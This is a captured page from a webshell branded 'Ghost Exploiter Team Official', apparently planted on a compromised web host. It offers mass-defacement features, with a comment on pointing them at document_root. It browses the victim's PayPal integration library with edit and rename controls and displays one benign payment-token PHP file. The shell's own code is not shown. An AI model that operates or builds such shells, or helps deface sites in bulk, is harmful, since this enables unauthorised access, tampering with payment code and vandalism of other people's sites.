webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
srmklive
/
paypal
/
src
/
Traits
/
PayPalAPI
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
BillingPlans
--
ren
InvoiceSearch
--
ren
Orders
--
ren
PaymentMethodsTokens
--
ren
Subscriptions
--
ren
BillingPlans.php
3.737KB
edt
ren
CatalogProducts.php
2.079KB
edt
ren
Disputes.php
1.528KB
edt
ren
DisputesActions.php
6.993KB
edt
ren
Identity.php
5.153KB
edt
ren
Invoices.php
10.831KB
edt
ren
InvoicesSearch.php
0.917KB
edt
ren
InvoicesTemplates.php
2.694KB
edt
ren
Orders.php
3.208KB
edt
ren
PartnerReferrals.php
2.885KB
edt
ren
PaymentAuthorizations.php
2.846KB
edt
ren
PaymentCaptures.php
1.45KB
edt
ren
PaymentExperienceWebPro
...
3.327KB
edt
ren
PaymentMethodsTokens.php
3.182KB
edt
ren
PaymentRefunds.php
0.56KB
edt
ren
Payouts.php
2.103KB
edt
ren
ReferencedPayouts.php
2.272KB
edt
ren
Reporting.php
1.644KB
edt
ren
Subscriptions.php
6.302KB
edt
ren
Trackers.php
2.872KB
edt
ren
WebHooks.php
3.192KB
edt
ren
WebHooksEvents.php
2.083KB
edt
ren
WebHooksVerification.php
0.604KB
edt
ren
<?php namespace Srmklive\PayPal\Traits\PayPalAPI; trait PaymentMethodsTokens { use PaymentMethodsTokens\Helpers; /** * Create a payment method token. * * @param array $data * * @throws \Throwable * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#payment-tokens_create */ public function createPaymentSourceToken(array $data) { $this->apiEndPoint = 'v3/vault/payment-tokens'; $this->options['json'] = $data; $this->verb = 'post'; return $this->doPayPalRequest(); } /** * List all the payment tokens. * * @param int $page * @param int $page_size * @param bool $totals * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#customer_payment-tokens_get */ public function listPaymentSourceTokens(int $page = 1, int $page_size = 10, bool $totals = true) { $this->apiEndPoint = "v3/vault/payment-tokens?customer_id={$this->customer_source['id']}&page={$page}&page_size={$page_size}&total_required={$totals}"; $this->verb = 'get'; return $this->doPayPalRequest(); } /** * Show details for a payment method token. * * @param string $token * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#payment-tokens_get */ public function showPaymentSourceTokenDetails(string $token) { $this->apiEndPoint = "v3/vault/payment-tokens/{$token}"; $this->verb = 'get'; return $this->doPayPalRequest(); } /** * Show details for a payment token. * * @param string $token * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#payment-tokens_delete */ public function deletePaymentSourceToken(string $token) { $this->apiEndPoint = "v3/vault/payment-tokens/{$token}"; $this->verb = 'delete'; return $this->doPayPalRequest(false); } /** * Create a payment setup token. * * @param array $data * * @throws \Throwable * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#setup-tokens_create */ public function createPaymentSetupToken(array $data) { $this->apiEndPoint = 'v3/vault/setup-tokens'; $this->options['json'] = $data; $this->verb = 'post'; return $this->doPayPalRequest(); } /** * Show details for a payment setup token. * * @param string $token * * @return array|\Psr\Http\Message\StreamInterface|string * * @see https://developer.paypal.com/docs/api/payment-tokens/v3/#setup-tokens_get */ public function showPaymentSetupTokenDetails(string $token) { $this->apiEndPoint = "v3/vault/setup-tokens/{$token}"; $this->verb = 'get'; return $this->doPayPalRequest(); } }
<=Back
Liking